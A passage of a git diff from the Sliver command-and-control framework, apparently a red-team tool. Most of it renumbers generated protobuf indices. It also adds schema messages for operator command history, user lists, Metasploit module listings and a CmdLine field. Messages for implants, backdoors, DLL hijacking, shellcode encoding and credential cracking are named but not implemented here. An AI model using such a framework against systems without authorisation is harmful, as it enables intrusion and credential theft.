0: return &v.state @@ -13828,7 +14463,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Website); i { case 0: return &v.state @@ -13840,7 +14475,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Websites); i { case 0: return &v.state @@ -13852,7 +14487,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WGClientConfig); i { case 0: return &v.state @@ -13864,7 +14499,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Loot); i { case 0: return &v.state @@ -13876,7 +14511,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AllLoot); i { case 0: return &v.state @@ -13888,7 +14523,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*IOC); i { case 0: return &v.state @@ -13900,7 +14535,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExtensionData); i { case 0: return &v.state @@ -13912,7 +14547,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Host); i { case 0: return &v.state @@ -13924,7 +14559,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AllHosts); i { case 0: return &v.state @@ -13936,7 +14571,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DllHijackReq); i { case 0: return &v.state @@ -13948,7 +14583,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DllHijack); i { case 0: return &v.state @@ -13960,7 +14595,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BackdoorReq); i { case 0: return &v.state @@ -13972,7 +14607,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Backdoor); i { case 0: return &v.state @@ -13984,7 +14619,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncodeReq); i { case 0: return &v.state @@ -13996,7 +14631,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncode); i { case 0: return &v.state @@ -14008,7 +14643,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncoderMap); i { case 0: return &v.state @@ -14020,7 +14655,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalGenerateReq); i { case 0: return &v.state @@ -14032,7 +14667,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Builders); i { case 0: return &v.state @@ -14044,7 +14679,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Builder); i { case 0: return &v.state @@ -14056,7 +14691,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2Configs); i { case 0: return &v.state @@ -14068,7 +14703,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*C2ProfileReq); i { case 0: return &v.state @@ -14080,7 +14715,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2ConfigReq); i { case 0: return &v.state @@ -14092,7 +14727,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2Config); i { case 0: return &v.state @@ -14104,7 +14739,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2ServerConfig); i { case 0: return &v.state @@ -14116,7 +14751,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2ImplantConfig); i { case 0: return &v.state @@ -14128,7 +14763,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2Cookie); i { case 0: return &v.state @@ -14140,7 +14775,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2Header); i { case 0: return &v.state @@ -14152,7 +14787,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2URLParameter); i { case 0: return &v.state @@ -14164,7 +14799,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2PathSegment); i { case 0: return &v.state @@ -14176,7 +14811,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Credential); i { case 0: return &v.state @@ -14188,7 +14823,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Credentials); i { case 0: return &v.state @@ -14200,7 +14835,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Crackstations); i { case 0: return &v.state @@ -14212,7 +14847,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackstationStatus); i { case 0: return &v.state @@ -14224,7 +14859,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackSyncStatus); i { case 0: return &v.state @@ -14236,7 +14871,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackBenchmark); i { case 0: return &v.state @@ -14248,7 +14883,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackTask); i { case 0: return &v.state @@ -14260,7 +14895,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Crackstation); i { case 0: return &v.state @@ -14272,7 +14907,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CUDABackendInfo); i { case 0: return &v.state @@ -14284,7 +14919,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenCLBackendInfo); i { case 0: return &v.state @@ -14296,7 +14931,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MetalBackendInfo); i { case 0: return &v.state @@ -14308,7 +14943,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackCommand); i { case 0: return &v.state @@ -14320,7 +14955,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackConfig); i { case 0: return &v.state @@ -14332,7 +14967,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFiles); i { case 0: return &v.state @@ -14344,7 +14979,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFile); i { case 0: return &v.state @@ -14356,7 +14991,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFileChunk); i { case 0: return &v.state @@ -14368,7 +15003,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MonitoringProviders); i { case 0: return &v.state @@ -14380,7 +15015,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MonitoringProvider); i { case 0: return &v.state @@ -14392,7 +15027,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ResourceID); i { case 0: return &v.state @@ -14411,7 +15046,7 @@ func file_clientpb_client_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_clientpb_client_proto_rawDesc, NumEnums: 13, - NumMessages: 129, + NumMessages: 135, NumExtensions: 0, NumServices: 0, }, diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto index e2814606e0..47b411969c 100644 --- a/protobuf/clientpb/client.proto +++ b/protobuf/clientpb/client.proto @@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/clientpb"; import "commonpb/common.proto"; -// [ Version ] ---------------------------------------- +// [ Teamclient ] ------------------------------------------- message Version { int32 Major = 1; @@ -19,12 +19,53 @@ message Version { string Arch = 8; } -// [ Client Logs ] ---------------------------------------- +message Users { repeated User Users = 1; } + +message User { + string Name = 1; + bool Online = 2; + int64 LastSeen = 3; + int32 Clients = 4; +} + + +// [ Client Logs ] ------------------------------------------ message ClientLogData { string Stream = 1; bytes Data = 2; } +// [ History commands ] ---------------------------------------- + +message ImplantCommand { + string Stream = 1; + string User = 2; + string ImplantID = 3; + string ImplantName = 4; + int64 ExecutedAt = 5; + string Block = 6; + + commonpb.Request Request = 9; +} + +message HistoryRequest { + bool UserOnly = 1; + int32 MaxLines = 2; + string ImplantID = 3; + string ImplantName = 4; + + commonpb.Request Request = 9; +} + +// History - Command history content. +message History { + int32 HistoryLen = 2; + bool UserOnly = 3; + repeated ImplantCommand Commands = 4; + + commonpb.Response Response = 9; +} + // [ Core ] ---------------------------------------- message Session { @@ -102,6 +143,7 @@ message BeaconTask { bytes Request = 7; bytes Response = 8; string Description = 9; + repeated string CmdLine = 10; } message BeaconTasks { @@ -284,6 +326,21 @@ message Compiler { repeated CompilerTarget UnsupportedTargets = 5; } +message MetasploitModule { + string Name = 1; + string FullName = 2; + string Description = 3; + string Quality = 4; +} + +message MetasploitCompiler { + string Version = 1; + repeated string Formats = 2; + repeated string Archs = 3; + repeated MetasploitModule Encoders = 4; + repeated MetasploitModule Payloads = 5; +} + message DeleteReq { string Name = 1; } // DNSCanary - Single canary and metadata @@ -567,15 +624,14 @@ message Client { message Event { string EventType = 1; Session Session = 2; - Job Job = 3; - Client Client = 4; - bytes Data = 5; + Beacon Beacon = 3; + Job Job = 4; + Client Client = 5; + bytes Data = 6; - string Err = 6; // Can't trigger normal gRPC error + string Err = 7; // Can't trigger normal gRPC error } -message Operators { repeated Operator Operators = 1; } - message Operator { bool Online = 1; string Name = 2; diff --git a/protobuf/commonpb/common.pb.go b/protobuf/commonpb/common.pb.go index a43cdeb518..a71fdef459 100644 --- a/protobuf/commonpb/common.pb.go +++ b/protobuf/commonpb/common.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: commonpb/common.proto package commonpb @@ -64,10 +64,11 @@ type Request struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"` - Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"` - BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` - SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"` + Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"` + Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"` + BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` + SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"` + CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"` } func (x *Request) Reset() { @@ -130,6 +131,13 @@ func (x *Request) GetSessionID() string { return "" } +func (x *Request) GetCmdLine() []string { + if x != nil { + return x.CmdLine + } + return nil +} + // Response - Common fields used in all gRPC responses. Note that the Err field // // only used when the implant needs to return an error to the server. @@ -418,43 +426,45 @@ var File_commonpb_common_proto protoreflect.FileDescriptor var file_commonpb_common_proto_rawDesc = []byte{ 0x0a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x73, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x54, - 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54, 0x69, - 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, - 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, - 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, - 0x66, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, - 0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a, - 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, - 0x79, 0x6e, 0x63, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, - 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45, - 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, - 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, - 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, - 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, - 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, - 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a, - 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, - 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x8d, 0x01, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07, + 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54, + 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, + 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x66, 0x0a, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, + 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x1a, + 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x61, + 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x61, 0x73, 0x6b, + 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x69, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, + 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, + 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 